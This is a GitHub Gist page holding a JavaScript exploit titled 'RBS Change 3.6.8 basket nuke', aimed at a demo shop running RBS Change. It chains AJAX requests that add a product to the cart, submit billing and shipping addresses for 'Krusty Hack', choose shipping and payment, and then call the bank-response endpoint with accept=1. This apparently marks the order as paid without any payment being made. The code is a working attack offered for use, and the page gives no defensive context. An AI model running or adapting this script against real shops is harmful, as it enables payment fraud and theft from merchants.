Last active
August 29, 2015 14:07
-
-
Save KrustyHack/bf4ee5cf2925f3bd8a0a to your computer and use it in GitHub Desktop.
RBS Change 3.6.8 basket nuke
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function() { | |
var host = "http://demo.rbschange.fr"; | |
var lang = "/fr"; | |
// '13159', '13291' | |
var shopId = "13159"; | |
var productId = "13377"; | |
var monPanier = "13494"; | |
var commandeAdresse = "13503" | |
var paymentFilter = "13289"; | |
var urls = [ | |
host + lang + "/action/order/AddToCart?quantity=1&shopId=" + shopId + "&productId=" + productId + "&backurl=" + host + lang + "/website/Mon-panier," + monPanier + ".html?orderParam[website_BlockAction_submit][cartb_9][Order]=\"Je commande\"", | |
host + lang + "/website/Mon-panier," + monPanier + ".html?orderParam[website_BlockAction_submit][cartb_9][Order]=\"Je commande\"&orderParam[cgv]=1", | |
host + lang + "/website/Commande-Adresse,13502.html?orderParam[billing-registered]=13479&orderParam[billing-firstname]=Krusty&orderParam[billing-lastname]=Hack&orderParam[billing-addressline1]=\"30, quai des Bateliers\"&orderParam[billing-zipcode]=67000&orderParam[billing-city]=Strasbourg&orderParam[billing-country]=11500&orderParam[shipping-usesameaddress]=1&orderParam[shipping-registered]=13479&orderParam[shipping-firstname]=Krusty&orderParam[shipping-lastname]=Hack&orderParam[shipping-addressline1]=\"30, quai des Bateliers\"&orderParam[shipping-zipcode]=67000&orderParam[shipping-city]=Strasbourg&orderParam[shipping-country]=11500&orderParam[submited]=X897790hiu&orderParam[website_BlockAction_submit][stdAddressStepb_9][nextStep]=\"Continuer la commande\"", | |
host + lang + "/website/Commande-Livraison,13503.html?orderParam[shippingFilterId]=13287&orderParam[website_BlockAction_submit][stdShippingStepb_9][nextStep]=\"Continuer la commande\"", | |
host + lang + "/website/Commande-Paiement.html?orderParam[paymentFilterId]=13289&orderParam[website_BlockAction_submit][stdBillingStepb_9][nextStep]=\"Continuer la commande\"", | |
host + lang + "/action/payment/BankResponseCheque?accept=1&paymentParam%5Baccept%5D=1" | |
]; | |
var b = document.getElementsByTagName('body')[0]; | |
otherlib = false, | |
msg = ''; | |
if (typeof jQuery != 'undefined') { | |
msg = 'This page already using jQuery v' + jQuery.fn.jquery; | |
return exec(); | |
} else if (typeof $ == 'function') { | |
otherlib = true; | |
} | |
// more or less stolen form jquery core and adapted by paul irish | |
function getScript(url, success) { | |
var script = document.createElement('script'); | |
script.src = url; | |
var head = document.getElementsByTagName('head')[0], | |
done = false; | |
// Attach handlers for all browsers | |
script.onload = script.onreadystatechange = function() { | |
if (!done && (!this.readyState || this.readyState == 'loaded' || this.readyState == 'complete')) { | |
done = true; | |
success(); | |
script.onload = script.onreadystatechange = null; | |
head.removeChild(script); | |
} | |
}; | |
head.appendChild(script); | |
} | |
getScript('http://code.jquery.com/jquery-latest.min.js', function() { | |
if (typeof jQuery == 'undefined') { | |
msg = 'Sorry, but jQuery wasn\'t able to load'; | |
} else { | |
msg = 'This page is now jQuerified with v' + jQuery.fn.jquery; | |
if (otherlib) { | |
msg += ' and noConflict(). Use $jq(), not $().'; | |
} | |
} | |
return exec(); | |
}); | |
function exec() { | |
window.setTimeout(function() { | |
if (typeof jQuery != 'undefined') { | |
if (otherlib) { | |
$jq = jQuery.noConflict(); | |
} | |
} | |
}, 2500); | |
pwn(); | |
} | |
function pwn() { | |
$.ajax({ | |
"url": urls[0] | |
}).done(function() { | |
$.ajax({ | |
"url": urls[1] | |
}).done(function() { | |
$.ajax({ | |
"url": urls[2] | |
}).done(function() { | |
$.ajax({ | |
"url": urls[3] | |
}).done(function() { | |
$.ajax({ | |
"url": urls[4] | |
}).done(function() { | |
$.ajax({ | |
"url": urls[5] | |
}).done(function() { | |
console.log("All is done !"); | |
}).fail(function() { | |
console.log("Error on " + urls[5]); | |
}); | |
}).fail(function() { | |
console.log("Error on " + urls[4]); | |
}); | |
}).fail(function() { | |
console.log("Error on " + urls[3]); | |
}); | |
}).fail(function() { | |
console.log("Error on " + urls[2]); | |
}); | |
}).fail(function() { | |
console.log("Error on " + urls[1]); | |
}); | |
}).fail(function() { | |
console.log("Error on " + urls[0]); | |
}); | |
} | |
})(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment